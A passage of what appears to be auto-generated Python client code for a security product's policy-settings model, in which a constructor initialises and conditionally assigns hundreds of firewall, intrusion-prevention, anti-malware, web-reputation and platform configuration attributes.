self._firewall_setting_anti_evasion_check_tcp_syn_rst_flags = None
self._anti_malware_setting_spyware_approved_list = None
self._firewall_setting_anti_evasion_check_tcp_urgent_flags = None
self._intrusion_prevention_setting_nsx_security_tagging_detect_mode_level = None
self._intrusion_prevention_setting_engine_option_fragmented_ip_unconcerned_mac_address_bypass_enabled = None
self._firewall_setting_engine_option_log_all_packet_data_enabled = None
self._firewall_setting_anti_evasion_check_tcp_syn_fin_flags = None
self._platform_setting_heartbeat_interval = None
self._firewall_setting_engine_option_fragment_size_min = None
self._anti_malware_setting_smart_protection_server_connection_lost_warning_enabled = None
self._firewall_setting_reconnaissance_block_network_or_port_scan_duration = None
self._integrity_monitoring_setting_content_hash_algorithm = None
self._anti_malware_setting_smart_scan_state = None
self._firewall_setting_config_package_exceeds_alert_max_enabled = None
self._platform_setting_environment_variable_overrides = None
self._firewall_setting_engine_option_fragment_offset_min = None
self._anti_malware_setting_smart_protection_local_server_urls = None
self._firewall_setting_engine_option_syn_rcvd_timeout = None
self._firewall_setting_event_log_file_cached_entries_num = None
self._firewall_setting_engine_option_force_allow_icmp_type3_code4 = None
self._firewall_setting_reconnaissance_block_tcp_null_scan_duration = None
self._platform_setting_smart_protection_global_server_enabled = None
self._integrity_monitoring_setting_realtime_enabled = None
self._firewall_setting_engine_option_last_ack_timeout = None
self._firewall_setting_reconnaissance_exclude_ip_list_id = None
self._platform_setting_agent_self_protection_enabled = None
self._firewall_setting_engine_option_drop_ipv6_reserved_addresses_enabled = None
self._firewall_setting_anti_evasion_check_fin_no_connection = None
self._firewall_setting_engine_option_debug_packet_num_max = None
self._firewall_setting_engine_option_bypass_cisco_waas_connections_enabled = None
self._firewall_setting_reconnaissance_enabled = None
self._platform_setting_heartbeat_local_time_shift_alert_threshold = None
self._anti_malware_setting_file_hash_md5_enabled = None
self._firewall_setting_reconnaissance_detect_network_or_port_scan_enabled = None
self._firewall_setting_engine_option_silent_tcp_connection_drop_enabled = None
self._firewall_setting_engine_option_block_same_src_dst_ip_enabled = None
self._firewall_setting_engine_option_force_allow_dhcp_dns = None
self._firewall_setting_reconnaissance_include_ip_list_id = None
self._firewall_setting_engine_options_enabled = None
self._firewall_setting_reconnaissance_block_tcp_syn_fin_scan_duration = None
self._web_reputation_setting_security_block_untested_pages_enabled = None
self._web_reputation_setting_allowed_url_domains = None
self._firewall_setting_event_log_file_ignore_source_ip_list_id = None
self._firewall_setting_engine_option_drop_ipv6_fragments_lower_than_min_mtu_enabled = None
self._platform_setting_auto_assign_new_intrusion_prevention_rules_enabled = None
self._firewall_setting_anti_evasion_check_rst_no_connection = None
self._web_reputation_setting_blocked_urls = None
self._platform_setting_combined_mode_network_group_protection_source = None
self._web_reputation_setting_alerting_enabled = None
self._anti_malware_setting_nsx_security_tagging_on_remediation_failure_enabled = None
self._integrity_monitoring_setting_cpu_usage_level = None
self._platform_setting_auto_update_anti_malware_engine_enabled = None
self._intrusion_prevention_setting_combined_mode_protection_source = None
self.discriminator = None
if log_inspection_setting_severity_clipping_agent_event_send_syslog_level_min is not None:
self.log_inspection_setting_severity_clipping_agent_event_send_syslog_level_min = log_inspection_setting_severity_clipping_agent_event_send_syslog_level_min
if firewall_setting_engine_option_connections_cleanup_max is not None:
self.firewall_setting_engine_option_connections_cleanup_max = firewall_setting_engine_option_connections_cleanup_max
if firewall_setting_engine_option_verify_tcp_checksum_enabled is not None:
self.firewall_setting_engine_option_verify_tcp_checksum_enabled = firewall_setting_engine_option_verify_tcp_checksum_enabled
if anti_malware_setting_scan_cache_on_demand_config_id is not None:
self.anti_malware_setting_scan_cache_on_demand_config_id = anti_malware_setting_scan_cache_on_demand_config_id
if application_control_setting_shared_ruleset_id is not None:
self.application_control_setting_shared_ruleset_id = application_control_setting_shared_ruleset_id
if web_reputation_setting_smart_protection_server_connection_lost_warning_enabled is not None:
self.web_reputation_setting_smart_protection_server_connection_lost_warning_enabled = web_reputation_setting_smart_protection_server_connection_lost_warning_enabled
if application_control_setting_execution_enforcement_level is not None:
self.application_control_setting_execution_enforcement_level = application_control_setting_execution_enforcement_level
if web_reputation_setting_blocked_url_domains is not None:
self.web_reputation_setting_blocked_url_domains = web_reputation_setting_blocked_url_domains
if firewall_setting_engine_option_syn_sent_timeout is not None:
self.firewall_setting_engine_option_syn_sent_timeout = firewall_setting_engine_option_syn_sent_timeout
if platform_setting_agent_self_protection_password is not None:
self.platform_setting_agent_self_protection_password = platform_setting_agent_self_protection_password
if firewall_setting_reconnaissance_block_tcp_xmas_attack_duration is not None:
self.firewall_setting_reconnaissance_block_tcp_xmas_attack_duration = firewall_setting_reconnaissance_block_tcp_xmas_attack_duration
if intrusion_prevention_setting_virtual_and_container_network_scan_enabled is not None:
self.intrusion_prevention_setting_virtual_and_container_network_scan_enabled = intrusion_prevention_setting_virtual_and_container_network_scan_enabled
if log_inspection_setting_syslog_config_id is not None:
self.log_inspection_setting_syslog_config_id = log_inspection_setting_syslog_config_id
if firewall_setting_engine_option_debug_mode_enabled is not None:
self.firewall_setting_engine_option_debug_mode_enabled = firewall_setting_engine_option_debug_mode_enabled
if firewall_setting_virtual_and_container_network_scan_enabled is not None:
self.firewall_setting_virtual_and_container_network_scan_enabled = firewall_setting_virtual_and_container_network_scan_enabled
if anti_malware_setting_file_hash_sha256_enabled is not None:
self.anti_malware_setting_file_hash_sha256_enabled = anti_malware_setting_file_hash_sha256_enabled
if firewall_setting_reconnaissance_notify_fingerprint_probe_enabled is not None:
self.firewall_setting_reconnaissance_notify_fingerprint_probe_enabled = firewall_setting_reconnaissance_notify_fingerprint_probe_enabled
if firewall_setting_event_log_file_retain_num is not None:
self.firewall_setting_event_log_file_retain_num = firewall_setting_event_log_file_retain_num
if firewall_setting_anti_evasion_check_tcp_paws_zero is not None:
self.firewall_setting_anti_evasion_check_tcp_paws_zero = firewall_setting_anti_evasion_check_tcp_paws_zero
if anti_malware_setting_connected_threat_defense_use_control_manager_suspicious_object_list_enabled is not None:
self.anti_malware_setting_connected_threat_defense_use_control_manager_suspicious_object_list_enabled = anti_malware_setting_connected_threat_defense_use_control_manager_suspicious_object_list_enabled
if intrusion_prevention_setting_engine_option_fragmented_ip_keep_max is not None:
self.intrusion_prevention_setting_engine_option_fragmented_ip_keep_max = intrusion_prevention_setting_engine_option_fragmented_ip_keep_max
if firewall_setting_engine_option_drop6_to4_bogons_addresses_enabled is not None:
self.firewall_setting_engine_option_drop6_to4_bogons_addresses_enabled = firewall_setting_engine_option_drop6_to4_bogons_addresses_enabled
if log_inspection_setting_severity_clipping_agent_event_store_level_min is not None:
self.log_inspection_setting_severity_clipping_agent_event_store_level_min = log_inspection_setting_severity_clipping_agent_event_store_level_min
if platform_setting_scan_cache_concurrency_max is not None:
self.platform_setting_scan_cache_concurrency_max = platform_setting_scan_cache_concurrency_max
if anti_malware_setting_syslog_config_id is not None:
self.anti_malware_setting_syslog_config_id = anti_malware_setting_syslog_config_id
if firewall_setting_anti_evasion_tcp_paws_window_policy is not None:
self.firewall_setting_anti_evasion_tcp_paws_window_policy = firewall_setting_anti_evasion_tcp_paws_window_policy
if firewall_setting_reconnaissance_detect_tcp_xmas_attack_enabled is not None:
self.firewall_setting_reconnaissance_detect_tcp_xmas_attack_enabled = firewall_setting_reconnaissance_detect_tcp_xmas_attack_enabled
if application_control_setting_ruleset_mode is not None:
self.application_control_setting_ruleset_mode = application_control_setting_ruleset_mode
if anti_malware_setting_smart_protection_global_server_use_proxy_enabled is not None:
self.anti_malware_setting_smart_protection_global_server_use_proxy_enabled = anti_malware_setting_smart_protection_global_server_use_proxy_enabled
if web_reputation_setting_smart_protection_local_server_allow_off_domain_global is not None:
self.web_reputation_setting_smart_protection_local_server_allow_off_domain_global = web_reputation_setting_smart_protection_local_server_allow_off_domain_global
if integrity_monitoring_setting_combined_mode_protection_source is not None:
self.integrity_monitoring_setting_combined_mode_protection_source = integrity_monitoring_setting_combined_mode_protection_source
if firewall_setting_engine_option_close_wait_timeout is not None:
self.firewall_setting_engine_option_close_wait_timeout = firewall_setting_engine_option_close_wait_timeout
if platform_setting_scan_open_port_list_id is not None:
self.platform_setting_scan_open_port_list_id = platform_setting_scan_open_port_list_id
if platform_setting_agent_self_protection_password_enabled is not None:
self.platform_setting_agent_self_protection_password_enabled = platform_setting_agent_self_protection_password_enabled
if firewall_setting_engine_option_ack_timeout is not None:
self.firewall_setting_engine_option_ack_timeout = firewall_setting_engine_option_ack_timeout
if firewall_setting_event_log_file_cached_entries_stale_time is not None:
self.firewall_setting_event_log_file_cached_entries_stale_time = firewall_setting_event_log_file_cached_entries_stale_time
if firewall_setting_combined_mode_protection_source is not None:
self.firewall_setting_combined_mode_protection_source = firewall_setting_combined_mode_protection_source
if platform_setting_agent_events_send_interval is not None:
self.platform_setting_agent_events_send_interval = platform_setting_agent_events_send_interval
if platform_setting_inactive_agent_cleanup_override_enabled is not None:
self.platform_setting_inactive_agent_cleanup_override_enabled = platform_setting_inactive_agent_cleanup_override_enabled
if firewall_setting_failure_response_engine_system is not None:
self.firewall_setting_failure_response_engine_system = firewall_setting_failure_response_engine_system
if platform_setting_relay_state is not None:
self.platform_setting_relay_state = platform_setting_relay_state
if firewall_setting_engine_option_drop_evasive_retransmit_enabled is not None:
self.firewall_setting_engine_option_drop_evasive_retransmit_enabled = firewall_setting_engine_option_drop_evasive_retransmit_enabled
if activity_monitoring_setting_indicator_enabled is not None:
self.activity_monitoring_setting_indicator_enabled = activity_monitoring_setting_indicator_enabled
if intrusion_prevention_setting_engine_option_fragmented_ip_timeout is not None:
self.intrusion_prevention_setting_engine_option_fragmented_ip_timeout = intrusion_prevention_setting_engine_option_fragmented_ip_timeout
if firewall_setting_anti_evasion_check_tcp_zero_flags is not None:
self.firewall_setting_anti_evasion_check_tcp_zero_flags = firewall_setting_anti_evasion_check_tcp_zero_flags
if web_reputation_setting_smart_protection_global_server_use_proxy_enabled is not None:
self.web_reputation_setting_smart_protection_global_server_use_proxy_enabled = web_reputation_setting_smart_protection_global_server_use_proxy_enabled
if intrusion_prevention_setting_nsx_security_tagging_prevent_mode_level is not None:
self.intrusion_prevention_setting_nsx_security_tagging_prevent_mode_level = intrusion_prevention_setting_nsx_security_tagging_prevent_mode_level
if firewall_setting_reconnaissance_notify_tcp_xmas_attack_enabled is not None:
self.firewall_setting_reconnaissance_notify_tcp_xmas_attack_enabled = firewall_setting_reconnaissance_notify_tcp_xmas_attack_enabled
if firewall_setting_engine_option_udp_timeout is not None:
self.firewall_setting_engine_option_udp_timeout = firewall_setting_engine_option_udp_timeout
if web_reputation_setting_smart_protection_local_server_enabled is not None:
self.web_reputation_setting_smart_protection_local_server_enabled = web_reputation_setting_smart_protection_local_server_enabled
if firewall_setting_engine_option_tcp_mss_limit is not None:
self.firewall_setting_engine_option_tcp_mss_limit = firewall_setting_engine_option_tcp_mss_limit
if firewall_setting_engine_option_cold_start_timeout is not None:
self.firewall_setting_engine_option_cold_start_timeout = firewall_setting_engine_option_cold_start_timeout
if firewall_setting_engine_option_established_timeout is not None:
self.firewall_setting_engine_option_established_timeout = firewall_setting_engine_option_established_timeout
if anti_malware_setting_identified_files_space_max_mbytes is not None:
self.anti_malware_setting_identified_files_space_max_mbytes = anti_malware_setting_identified_files_space_max_mbytes
if firewall_setting_engine_option_allow_null_ip_enabled is not None:
self.firewall_setting_engine_option_allow_null_ip_enabled = firewall_setting_engine_option_allow_null_ip_enabled
if platform_setting_notifications_suppress_popups_enabled is not None:
self.platform_setting_notifications_suppress_popups_enabled = platform_setting_notifications_suppress_popups_enabled
if firewall_setting_anti_evasion_check_tcp_rst_fin_flags is not None:
self.firewall_setting_anti_evasion_check_tcp_rst_fin_flags = firewall_setting_anti_evasion_check_tcp_rst_fin_flags
if firewall_setting_engine_option_disconnect_timeout is not None:
self.firewall_setting_engine_option_disconnect_timeout = firewall_setting_engine_option_disconnect_timeout
if firewall_setting_engine_option_close_timeout is not None:
self.firewall_setting_engine_option_close_timeout = firewall_setting_engine_option_close_timeout
if firewall_setting_engine_option_tunnel_depth_max_exceeded_action is not None:
self.firewall_setting_engine_option_tunnel_depth_max_exceeded_action = firewall_setting_engine_option_tunnel_depth_max_exceeded_action
if firewall_setting_reconnaissance_detect_tcp_null_scan_enabled is not None:
self.firewall_setting_reconnaissance_detect_tcp_null_scan_enabled = firewall_setting_reconnaissance_detect_tcp_null_scan_enabled
if platform_setting_smart_protection_anti_malware_global_server_proxy_id is not None:
self.platform_setting_smart_protection_anti_malware_global_server_proxy_id = platform_setting_smart_protection_anti_malware_global_server_proxy_id
if firewall_setting_engine_option_filter_ipv4_tunnels is not None:
self.firewall_setting_engine_option_filter_ipv4_tunnels = firewall_setting_engine_option_filter_ipv4_tunnels
if web_reputation_setting_smart_protection_local_server_urls is not None:
self.web_reputation_setting_smart_protection_local_server_urls = web_reputation_setting_smart_protection_local_server_urls
if firewall_setting_engine_option_log_one_packet_period is not None:
self.firewall_setting_engine_option_log_one_packet_period = firewall_setting_engine_option_log_one_packet_period
if firewall_setting_engine_option_filter_ipv6_tunnels is not None:
self.firewall_setting_engine_option_filter_ipv6_tunnels = firewall_setting_engine_option_filter_ipv6_tunnels
if firewall_setting_anti_evasion_check_tcp_congestion_flags is not None:
self.firewall_setting_anti_evasion_check_tcp_congestion_flags = firewall_setting_anti_evasion_check_tcp_congestion_flags
if platform_setting_heartbeat_missed_alert_threshold is not None:
self.platform_setting_heartbeat_missed_alert_threshold = platform_setting_heartbeat_missed_alert_threshold
if intrusion_prevention_setting_engine_options_enabled is not None:
self.intrusion_prevention_setting_engine_options_enabled = intrusion_prevention_setting_engine_options_enabled
if firewall_setting_engine_option_connections_num_udp_max is not None:
self.firewall_setting_engine_option_connections_num_udp_max = firewall_setting_engine_option_connections_num_udp_max
if integrity_monitoring_setting_auto_apply_recommendations_enabled is not None:
self.integrity_monitoring_setting_auto_apply_recommendations_enabled = integrity_monitoring_setting_auto_apply_recommendations_enabled
if firewall_setting_engine_option_tunnel_depth_max is not None:
self.firewall_setting_engine_option_tunnel_depth_max = firewall_setting_engine_option_tunnel_depth_max
if firewall_setting_engine_option_drop_unknown_ssl_protocol_enabled is not None:
self.firewall_setting_engine_option_drop_unknown_ssl_protocol_enabled = firewall_setting_engine_option_drop_unknown_ssl_protocol_enabled
if anti_malware_setting_nsx_security_tagging_value is not None:
self.anti_malware_setting_nsx_security_tagging_value = anti_malware_setting_nsx_security_tagging_value
if intrusion_prevention_setting_log_data_rule_first_match_enabled is not None:
self.intrusion_prevention_setting_log_data_rule_first_match_enabled = intrusion_prevention_setting_log_data_rule_first_match_enabled
if firewall_setting_engine_option_logging_policy is not None:
self.firewall_setting_engine_option_logging_policy = firewall_setting_engine_option_logging_policy
if platform_setting_troubleshooting_logging_level is not None:
self.platform_setting_troubleshooting_logging_level = platform_setting_troubleshooting_logging_level
if anti_malware_setting_virtual_appliance_on_demand_scan_cache_entries_max is not None:
self.anti_malware_setting_virtual_appliance_on_demand_scan_cache_entries_max = anti_malware_setting_virtual_appliance_on_demand_scan_cache_entries_max
if web_reputation_setting_combined_mode_protection_source is not None:
self.web_reputation_setting_combined_mode_protection_source = web_reputation_setting_combined_mode_protection_source
if firewall_setting_engine_option_closing_timeout is not None:
self.firewall_setting_engine_option_closing_timeout = firewall_setting_engine_option_closing_timeout
if firewall_setting_anti_evasion_check_paws is not None:
self.firewall_setting_anti_evasion_check_paws = firewall_setting_anti_evasion_check_paws
if intrusion_prevention_setting_auto_apply_recommendations_enabled is not None:
self.intrusion_prevention_setting_auto_apply_recommendations_enabled = intrusion_prevention_setting_auto_apply_recommendations_enabled
if firewall_setting_reconnaissance_detect_fingerprint_probe_enabled is not None:
self.firewall_setting_reconnaissance_detect_fingerprint_probe_enabled = firewall_setting_reconnaissance_detect_fingerprint_probe_enabled
if anti_malware_setting_nsx_security_tagging_remove_on_clean_scan_enabled is not None:
self.anti_malware_setting_nsx_security_tagging_remove_on_clean_scan_enabled = anti_malware_setting_nsx_security_tagging_remove_on_clean_scan_enabled
if firewall_setting_engine_option_log_packet_length_max is not None:
self.firewall_setting_engine_option_log_packet_length_max = firewall_setting_engine_option_log_packet_length_max
if firewall_setting_engine_option_drop_teredo_anomalies_enabled is not None:
self.firewall_setting_engine_option_drop_teredo_anomalies_enabled = firewall_setting_engine_option_drop_teredo_anomalies_enabled
if web_reputation_setting_security_level is not None:
self.web_reputation_setting_security_level = web_reputation_setting_security_level
if firewall_setting_engine_option_drop_ipv6_site_local_addresses_enabled is not None:
self.firewall_setting_engine_option_drop_ipv6_site_local_addresses_enabled = firewall_setting_engine_option_drop_ipv6_site_local_addresses_enabled
if activity_monitoring_setting_activity_enabled is not None:
self.activity_monitoring_setting_activity_enabled = activity_monitoring_setting_activity_enabled
if firewall_setting_engine_option_strict_terodo_port_check_enabled is not None:
self.firewall_setting_engine_option_strict_terodo_port_check_enabled = firewall_setting_engine_option_strict_terodo_port_check_enabled
if web_reputation_setting_blocked_url_keywords is not None:
self.web_reputation_setting_blocked_url_keywords = web_reputation_setting_blocked_url_keywords
if web_reputation_setting_syslog_config_id is not None:
self.web_reputation_setting_syslog_config_id = web_reputation_setting_syslog_config_id
if firewall_setting_failure_response_packet_sanity_check is not None:
self.firewall_setting_failure_response_packet_sanity_check = firewall_setting_failure_response_packet_sanity_check
if firewall_setting_network_engine_mode is not None:
self.firewall_setting_network_engine_mode = firewall_setting_network_engine_mode
if firewall_setting_event_log_file_size_max is not None:
self.firewall_setting_event_log_file_size_max = firewall_setting_event_log_file_size_max
if anti_malware_setting_malware_scan_multithreaded_processing_enabled is not None:
self.anti_malware_setting_malware_scan_multithreaded_processing_enabled = anti_malware_setting_malware_scan_multithreaded_processing_enabled
if firewall_setting_reconnaissance_detect_tcp_syn_fin_scan_enabled is not None:
self.firewall_setting_reconnaissance_detect_tcp_syn_fin_scan_enabled = firewall_setting_reconnaissance_detect_tcp_syn_fin_scan_enabled
if firewall_setting_engine_option_drop_ip_zero_payload_enabled is not None:
self.firewall_setting_engine_option_drop_ip_zero_payload_enabled = firewall_setting_engine_option_drop_ip_zero_payload_enabled
if firewall_setting_engine_option_block_ipv6_agent8_and_earlier_enabled is not None:
self.firewall_setting_engine_option_block_ipv6_agent8_and_earlier_enabled = firewall_setting_engine_option_block_ipv6_agent8_and_earlier_enabled
if intrusion_prevention_setting_engine_option_fragmented_ip_packet_send_icmp_enabled is not None:
self.intrusion_prevention_setting_engine_option_fragmented_ip_packet_send_icmp_enabled = intrusion_prevention_setting_engine_option_fragmented_ip_packet_send_icmp_enabled
if anti_malware_setting_predictive_machine_learning_exceptions is not None:
self.anti_malware_setting_predictive_machine_learning_exceptions = anti_malware_setting_predictive_machine_learning_exceptions
if firewall_setting_engine_option_log_events_per_second_max is not None:
self.firewall_setting_engine_option_log_events_per_second_max = firewall_setting_engine_option_log_events_per_second_max
if firewall_setting_engine_option_ssl_session_time is not None:
self.firewall_setting_engine_option_ssl_session_time = firewall_setting_engine_option_ssl_session_time
if anti_malware_setting_behavior_monitoring_scan_exclusion_list is not None:
self.anti_malware_setting_behavior_monitoring_scan_exclusion_list = anti_malware_setting_behavior_monitoring_scan_exclusion_list
if anti_malware_setting_smart_protection_global_server_enabled is not None:
self.anti_malware_setting_smart_protection_global_server_enabled = anti_malware_setting_smart_protection_global_server_enabled
if firewall_setting_engine_option_log_one_packet_within_period_enabled is not None:
self.firewall_setting_engine_option_log_one_packet_within_period_enabled = firewall_setting_engine_option_log_one_packet_within_period_enabled
if firewall_setting_engine_option_generate_connection_events_icmp_enabled is not None:
self.firewall_setting_engine_option_generate_connection_events_icmp_enabled = firewall_setting_engine_option_generate_connection_events_icmp_enabled
if platform_setting_heartbeat_inactive_vm_offline_alert_enabled is not None:
self.platform_setting_heartbeat_inactive_vm_offline_alert_enabled = platform_setting_heartbeat_inactive_vm_offline_alert_enabled
if web_reputation_setting_smart_protection_web_reputation_global_server_proxy_id is not None:
self.web_reputation_setting_smart_protection_web_reputation_global_server_proxy_id = web_reputation_setting_smart_protection_web_reputation_global_server_proxy_id
if anti_malware_setting_nsx_security_tagging_enabled is not None:
self.anti_malware_setting_nsx_security_tagging_enabled = anti_malware_setting_nsx_security_tagging_enabled
if firewall_setting_anti_evasion_check_fragmented_packets is not None:
self.firewall_setting_anti_evasion_check_fragmented_packets = firewall_setting_anti_evasion_check_fragmented_packets
if firewall_setting_engine_option_connections_num_icmp_max is not None:
self.firewall_setting_engine_option_connections_num_icmp_max = firewall_setting_engine_option_connections_num_icmp_max
if firewall_setting_anti_evasion_check_tcp_split_handshake is not None:
self.firewall_setting_anti_evasion_check_tcp_split_handshake = firewall_setting_anti_evasion_check_tcp_split_handshake
if anti_malware_setting_combined_mode_protection_source is not None:
self.anti_malware_setting_combined_mode_protection_source = anti_malware_setting_combined_mode_protection_source
if firewall_setting_engine_option_event_nodes_max is not None:
self.firewall_setting_engine_option_event_nodes_max = firewall_setting_engine_option_event_nodes_max
if web_reputation_setting_monitor_port_list_id is not None:
self.web_reputation_setting_monitor_port_list_id = web_reputation_setting_monitor_port_list_id
if application_control_setting_syslog_config_id is not None:
self.application_control_setting_syslog_config_id = application_control_setting_syslog_config_id
if firewall_setting_anti_evasion_check_out_no_connection is not None:
self.firewall_setting_anti_evasion_check_out_no_connection = firewall_setting_anti_evasion_check_out_no_connection
if firewall_setting_engine_option_block_ipv6_agent9_and_later_enabled is not None:
self.firewall_setting_engine_option_block_ipv6_agent9_and_later_enabled = firewall_setting_engine_option_block_ipv6_agent9_and_later_enabled
if integrity_monitoring_setting_virtual_appliance_optimization_scan_cache_entries_max is not None:
self.integrity_monitoring_setting_virtual_appliance_optimization_scan_cache_entries_max = integrity_monitoring_setting_virtual_appliance_optimization_scan_cache_entries_max
if firewall_setting_reconnaissance_notify_tcp_null_scan_enabled is not None:
self.firewall_setting_reconnaissance_notify_tcp_null_scan_enabled = firewall_setting_reconnaissance_notify_tcp_null_scan_enabled
if firewall_setting_engine_option_ignore_status_code1 is not None:
self.firewall_setting_engine_option_ignore_status_code1 = firewall_setting_engine_option_ignore_status_code1
if firewall_setting_engine_option_ignore_status_code0 is not None:
self.firewall_setting_engine_option_ignore_status_code0 = firewall_setting_engine_option_ignore_status_code0
if firewall_setting_engine_option_ignore_status_code2 is not None:
self.firewall_setting_engine_option_ignore_status_code2 = firewall_setting_engine_option_ignore_status_code2
if firewall_setting_engine_option_ssl_session_size is not None:
self.firewall_setting_engine_option_ssl_session_size = firewall_setting_engine_option_ssl_session_size
if anti_malware_setting_scan_cache_real_time_config_id is not None:
self.anti_malware_setting_scan_cache_real_time_config_id = anti_malware_setting_scan_cache_real_time_config_id
if platform_setting_recommendation_ongoing_scans_interval is not None:
self.platform_setting_recommendation_ongoing_scans_interval = platform_setting_recommendation_ongoing_scans_interval
if platform_setting_smart_protection_global_server_use_proxy_enabled is not None:
self.platform_setting_smart_protection_global_server_use_proxy_enabled = platform_setting_smart_protection_global_server_use_proxy_enabled
if firewall_setting_interface_limit_one_active_enabled is not None:
self.firewall_setting_interface_limit_one_active_enabled = firewall_setting_interface_limit_one_active_enabled
if firewall_setting_anti_evasion_check_tcp_checksum is not None:
self.firewall_setting_anti_evasion_check_tcp_checksum = firewall_setting_anti_evasion_check_tcp_checksum
if firewall_setting_engine_option_drop_ipv6_ext_type0_enabled is not None:
self.firewall_setting_engine_option_drop_ipv6_ext_type0_enabled = firewall_setting_engine_option_drop_ipv6_ext_type0_enabled
if anti_malware_setting_scan_file_size_max_mbytes is not None:
self.anti_malware_setting_scan_file_size_max_mbytes = anti_malware_setting_scan_file_size_max_mbytes
if firewall_setting_engine_option_generate_connection_events_tcp_enabled is not None:
self.firewall_setting_engine_option_generate_connection_events_tcp_enabled = firewall_setting_engine_option_generate_connection_events_tcp_enabled
if anti_malware_setting_file_hash_size_max_mbytes is not None:
self.anti_malware_setting_file_hash_size_max_mbytes = anti_malware_setting_file_hash_size_max_mbytes
if firewall_setting_event_log_file_cached_entries_life_time is not None:
self.firewall_setting_event_log_file_cached_entries_life_time = firewall_setting_event_log_file_cached_entries_life_time
if platform_setting_smart_protection_global_server_proxy_id is not None:
self.platform_setting_smart_protection_global_server_proxy_id = platform_setting_smart_protection_global_server_proxy_id
if log_inspection_setting_auto_apply_recommendations_enabled is not None:
self.log_inspection_setting_auto_apply_recommendations_enabled = log_inspection_setting_auto_apply_recommendations_enabled
if anti_malware_setting_connected_threat_defense_suspicious_file_ddan_submission_enabled is not None:
self.anti_malware_setting_connected_threat_defense_suspicious_file_ddan_submission_enabled = anti_malware_setting_connected_threat_defense_suspicious_file_ddan_submission_enabled
if web_reputation_setting_blocking_page_link is not None:
self.web_reputation_setting_blocking_page_link = web_reputation_setting_blocking_page_link
if firewall_setting_syslog_config_id is not None:
self.firewall_setting_syslog_config_id = firewall_setting_syslog_config_id
if platform_setting_agent_communications_direction is not None:
self.platform_setting_agent_communications_direction = platform_setting_agent_communications_direction
if integrity_monitoring_setting_scan_cache_config_id is not None:
self.integrity_monitoring_setting_scan_cache_config_id = integrity_monitoring_setting_scan_cache_config_id
if anti_malware_setting_document_exploit_protection_rule_exceptions is not None:
self.anti_malware_setting_document_exploit_protection_rule_exceptions = anti_malware_setting_document_exploit_protection_rule_exceptions
if firewall_setting_anti_evasion_check_tcp_syn_with_data is not None:
self.firewall_setting_anti_evasion_check_tcp_syn_with_data = firewall_setting_anti_evasion_check_tcp_syn_with_data
if anti_malware_setting_file_hash_enabled is not None:
self.anti_malware_setting_file_hash_enabled = anti_malware_setting_file_hash_enabled
if firewall_setting_reconnaissance_block_fingerprint_probe_duration is not None:
self.firewall_setting_reconnaissance_block_fingerprint_probe_duration = firewall_setting_reconnaissance_block_fingerprint_probe_duration
if firewall_setting_engine_option_drop_ipv6_bogons_addresses_enabled is not None:
self.firewall_setting_engine_option_drop_ipv6_bogons_addresses_enabled = firewall_setting_engine_option_drop_ipv6_bogons_addresses_enabled
if firewall_setting_engine_option_boot_start_timeout is not None:
self.firewall_setting_engine_option_boot_start_timeout = firewall_setting_engine_option_boot_start_timeout
if firewall_setting_engine_option_connections_num_tcp_max is not None:
self.firewall_setting_engine_option_connections_num_tcp_max = firewall_setting_engine_option_connections_num_tcp_max
if firewall_setting_anti_evasion_security_posture is not None:
self.firewall_setting_anti_evasion_security_posture = firewall_setting_anti_evasion_security_posture
if firewall_setting_interface_patterns is not None:
self.firewall_setting_interface_patterns = firewall_setting_interface_patterns
if firewall_setting_interface_isolation_enabled is not None:
self.firewall_setting_interface_isolation_enabled = firewall_setting_interface_isolation_enabled
if anti_malware_setting_virtual_appliance_real_time_scan_cache_entries_max is not None:
self.anti_malware_setting_virtual_appliance_real_time_scan_cache_entries_max = anti_malware_setting_virtual_appliance_real_time_scan_cache_entries_max
if firewall_setting_events_out_of_allowed_policy_enabled is not None:
self.firewall_setting_events_out_of_allowed_policy_enabled = firewall_setting_events_out_of_allowed_policy_enabled
if firewall_setting_anti_evasion_check_evasive_retransmit is not None:
self.firewall_setting_anti_evasion_check_evasive_retransmit = firewall_setting_anti_evasion_check_evasive_retransmit
if firewall_setting_engine_option_icmp_timeout is not None:
self.firewall_setting_engine_option_icmp_timeout = firewall_setting_engine_option_icmp_timeout
if integrity_monitoring_setting_syslog_config_id is not None:
self.integrity_monitoring_setting_syslog_config_id = integrity_monitoring_setting_syslog_config_id
if firewall_setting_engine_option_connection_cleanup_timeout is not None:
self.firewall_setting_engine_option_connection_cleanup_timeout = firewall_setting_engine_option_connection_cleanup_timeout
if anti_malware_setting_smart_protection_local_server_allow_off_domain_global is not None:
self.anti_malware_setting_smart_protection_local_server_allow_off_domain_global = anti_malware_setting_smart_protection_local_server_allow_off_domain_global
if firewall_setting_reconnaissance_notify_tcp_syn_fin_scan_enabled is not None:
self.firewall_setting_reconnaissance_notify_tcp_syn_fin_scan_enabled = firewall_setting_reconnaissance_notify_tcp_syn_fin_scan_enabled
if firewall_setting_engine_option_error_timeout is not None:
self.firewall_setting_engine_option_error_timeout = firewall_setting_engine_option_error_timeout
if web_reputation_setting_allowed_urls is not None:
self.web_reputation_setting_allowed_urls = web_reputation_setting_allowed_urls
if firewall_setting_reconnaissance_notify_network_or_port_scan_enabled is not None:
self.firewall_setting_reconnaissance_notify_network_or_port_scan_enabled = firewall_setting_reconnaissance_notify_network_or_port_scan_enabled
if firewall_setting_engine_option_fin_wait1_timeout is not None:
self.firewall_setting_engine_option_fin_wait1_timeout = firewall_setting_engine_option_fin_wait1_timeout
if firewall_setting_engine_option_generate_connection_events_udp_enabled is not None:
self.firewall_setting_engine_option_generate_connection_events_udp_enabled = firewall_setting_engine_option_generate_connection_events_udp_enabled
if activity_monitoring_setting_syslog_config_id is not None:
self.activity_monitoring_setting_syslog_config_id = activity_monitoring_setting_syslog_config_id
if firewall_setting_anti_evasion_check_tcp_syn_rst_flags is not None:
self.firewall_setting_anti_evasion_check_tcp_syn_rst_flags = firewall_setting_anti_evasion_check_tcp_syn_rst_flags
if anti_malware_setting_spyware_approved_list is not None:
self.anti_malware_setting_spyware_approved_list = anti_malware_setting_spyware_approved_list
if firewall_setting_anti_evasion_check_tcp_urgent_flags is not None:
self.firewall_setting_anti_evasion_check_tcp_urgent_flags = firewall_setting_anti_evasion_check_tcp_urgent_flags
if intrusion_prevention_setting_nsx_security_tagging_detect_mode_level is not None:
self.intrusion_prevention_setting_nsx_security_tagging_detect_mode_level = intrusion_prevention_setting_nsx_security_tagging_detect_mode_level
if intrusion_prevention_setting_engine_option_fragmented_ip_unconcerned_mac_address_bypass_enabled is not None:
